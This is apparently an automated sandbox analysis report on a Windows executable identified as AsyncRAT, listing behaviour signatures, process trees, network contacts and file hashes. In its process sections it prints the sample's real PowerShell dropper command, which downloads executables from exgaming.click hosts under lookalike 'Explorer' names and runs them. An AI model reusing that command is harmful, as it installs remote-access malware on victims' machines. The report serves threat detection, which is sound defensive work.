Analysis Overview
SHA256
a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392
Threat Level: Known bad
The file a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Asyncrat family
Detects executables attemping to enumerate video devices using WMI
Detects executables attemping to enumerate video devices using WMI
Checks computer location settings
Checks installed software on the system
Unsigned PE
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-18 01:45
Signatures
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Asyncrat family
Detects executables attemping to enumerate video devices using WMI
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-18 01:45
Reported
2024-04-18 01:48
Platform
win7-20240221-en
Max time kernel
1s
Max time network
150s
Command Line
Signatures
AsyncRat
Detects executables attemping to enumerate video devices using WMI
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2744 wrote to memory of 2892 | N/A | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | C:\Windows\System32\cmd.exe |
| PID 2744 wrote to memory of 2892 | N/A | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | C:\Windows\System32\cmd.exe |
| PID 2744 wrote to memory of 2892 | N/A | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | C:\Windows\System32\cmd.exe |
| PID 2892 wrote to memory of 2888 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2892 wrote to memory of 2888 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2892 wrote to memory of 2888 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
Network
| Country | Destination | Domain | Proto |
| FR | 51.254.53.24:4449 | tcp | |
| US | 8.8.8.8:53 | xcu.exgaming.click | udp |
| US | 8.8.8.8:53 | xcu5.exgaming.click | udp |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp | |
| FR | 51.254.53.24:4449 | tcp |
Files
memory/2744-0-0x0000000000270000-0x0000000000288000-memory.dmp
memory/2744-1-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp
memory/2888-8-0x0000000001FC0000-0x0000000001FC8000-memory.dmp
memory/2888-10-0x0000000002640000-0x00000000026C0000-memory.dmp
memory/2744-11-0x000000001AC40000-0x000000001ACC0000-memory.dmp
memory/2888-9-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp
memory/2888-12-0x0000000002640000-0x00000000026C0000-memory.dmp
memory/2888-7-0x000000001B220000-0x000000001B502000-memory.dmp
memory/2888-13-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp
memory/2888-14-0x0000000002640000-0x00000000026C0000-memory.dmp
memory/2888-15-0x0000000002640000-0x00000000026C0000-memory.dmp
memory/2744-16-0x0000000077640000-0x00000000777E9000-memory.dmp
memory/2888-24-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 1f6cd01d92450d13290185f545ff5aa5 |
| SHA1 | 6853e02b26f41ae70c6bcbe72c69c9a3107ee738 |
| SHA256 | 59e8cc9cd878c37127c434f32fa9ab137ad7c05768e75275150dbfafc2ffa086 |
| SHA512 | 5b129a8c5bf6bbfb718663b5ccd456c53c39fe96149660e2b1104e07009efb0981bd38cc368caeae49788cb2b6ee3dddb4dbdcd0d930325ae3280525b5cc300c |
memory/2196-40-0x000000001B230000-0x000000001B512000-memory.dmp
memory/2196-42-0x000007FEEC880000-0x000007FEED21D000-memory.dmp
memory/2196-41-0x0000000001ED0000-0x0000000001ED8000-memory.dmp
memory/2196-43-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2196-44-0x000007FEEC880000-0x000007FEED21D000-memory.dmp
memory/2196-46-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2196-47-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2196-45-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2196-48-0x000007FEEC880000-0x000007FEED21D000-memory.dmp
memory/744-56-0x00000000025C0000-0x0000000002640000-memory.dmp
memory/744-55-0x000007FEEC970000-0x000007FEED30D000-memory.dmp
memory/744-57-0x00000000025C0000-0x0000000002640000-memory.dmp
memory/744-54-0x0000000002590000-0x0000000002598000-memory.dmp
memory/744-59-0x00000000025C0000-0x0000000002640000-memory.dmp
memory/2744-58-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp
memory/744-61-0x00000000025C0000-0x0000000002640000-memory.dmp
memory/744-60-0x000007FEEC970000-0x000007FEED30D000-memory.dmp
memory/744-62-0x000007FEEC970000-0x000007FEED30D000-memory.dmp
memory/1552-68-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp
memory/1552-69-0x0000000002450000-0x00000000024D0000-memory.dmp
memory/1552-71-0x0000000002450000-0x00000000024D0000-memory.dmp
memory/1552-74-0x0000000002450000-0x00000000024D0000-memory.dmp
memory/1552-73-0x0000000002450000-0x00000000024D0000-memory.dmp
memory/2744-72-0x000000001AC40000-0x000000001ACC0000-memory.dmp
memory/1552-70-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp
memory/1552-75-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
| MD5 | 29f65ba8e88c063813cc50a4ea544e93 |
| SHA1 | 05a7040d5c127e68c25d81cc51271ffb8bef3568 |
| SHA256 | 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184 |
| SHA512 | e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa |
C:\Users\Admin\AppData\Local\Temp\Tar9EA7.tmp
| MD5 | 435a9ac180383f9fa094131b173a2f7b |
| SHA1 | 76944ea657a9db94f9a4bef38f88c46ed4166983 |
| SHA256 | 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34 |
| SHA512 | 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a |
memory/2744-116-0x0000000077640000-0x00000000777E9000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-18 01:45
Reported
2024-04-18 01:48
Platform
win10v2004-20240412-en
Max time kernel
91s
Max time network
143s
Command Line
Signatures
AsyncRat
Detects executables attemping to enumerate video devices using WMI
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | N/A |
Checks installed software on the system
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | xcu.exgaming.click | udp |
| FR | 51.254.53.24:4449 | tcp | |
| US | 8.8.8.8:53 | xcu5.exgaming.click | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.53.254.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 156.33.209.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| NL | 23.62.61.97:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 97.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
Files
memory/1496-0-0x0000000000C80000-0x0000000000C98000-memory.dmp
memory/1496-1-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/1496-3-0x000000001BA90000-0x000000001BAA0000-memory.dmp
memory/3720-13-0x000001DB91FB0000-0x000001DB91FD2000-memory.dmp
memory/3720-14-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfyf1ppu.sba.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3720-15-0x000001DBAA460000-0x000001DBAA470000-memory.dmp
memory/3720-16-0x000001DBAA460000-0x000001DBAA470000-memory.dmp
memory/3720-19-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
memory/4180-21-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/4180-22-0x00000246A0280000-0x00000246A0290000-memory.dmp
memory/4180-23-0x00000246A0280000-0x00000246A0290000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b66db53846de4860ca72a3e59b38c544 |
| SHA1 | 2202dc88e9cddea92df4f4e8d83930efd98c9c5a |
| SHA256 | b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030 |
| SHA512 | 72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527 |
memory/4180-34-0x00000246A0280000-0x00000246A0290000-memory.dmp
memory/1496-35-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/4180-37-0x00000246A0390000-0x00000246A05AC000-memory.dmp
memory/4180-38-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/4992-45-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/4992-50-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp
memory/4992-51-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b0cfdab278bf3db6d14817b1e701e4ee |
| SHA1 | 7ec7d56340dcaff7b6bf3d0e4b35be5bd57e87b8 |
| SHA256 | 0554687e2254846915ac9d734989c77cfc0417bdd6607dd64dde2fb2dcc55854 |
| SHA512 | 40a621b3ef79c9f74c937b4f04ef18bcc78bc7436c2035885bd8651b4ffc072152c6e87087be432c43860256c5e89ef33d57bb27822d36f18b8b9bda9208d4ca |
memory/1496-52-0x000000001BA90000-0x000000001BAA0000-memory.dmp
memory/4992-54-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/736-55-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/736-56-0x00000223FCB60000-0x00000223FCB70000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7cf51fd9a798b70dcc75418df6ab7709 |
| SHA1 | 36565372f526bae197a5d1117032228ebd35b637 |
| SHA256 | cabd168d058cc355f41ccc602554ae350212e9bd79ff19e2ee0da1b6268155a4 |
| SHA512 | b78f414a2a45acde1a705e2731aba09f469fca36cfd171c11334f03f08ef60af3a33d2c907959017e4ec4777cea716b96d931ad36ecc809c81308cee7bb9a37e |
memory/736-62-0x00000223FCB60000-0x00000223FCB70000-memory.dmp
memory/736-68-0x00000223FCB60000-0x00000223FCB70000-memory.dmp
memory/736-70-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp
memory/1496-71-0x000000001BA90000-0x000000001BAA0000-memory.dmp
memory/1496-72-0x000000001BA90000-0x000000001BAA0000-memory.dmp
memory/1496-74-0x000000001BA90000-0x000000001BAA0000-memory.dmp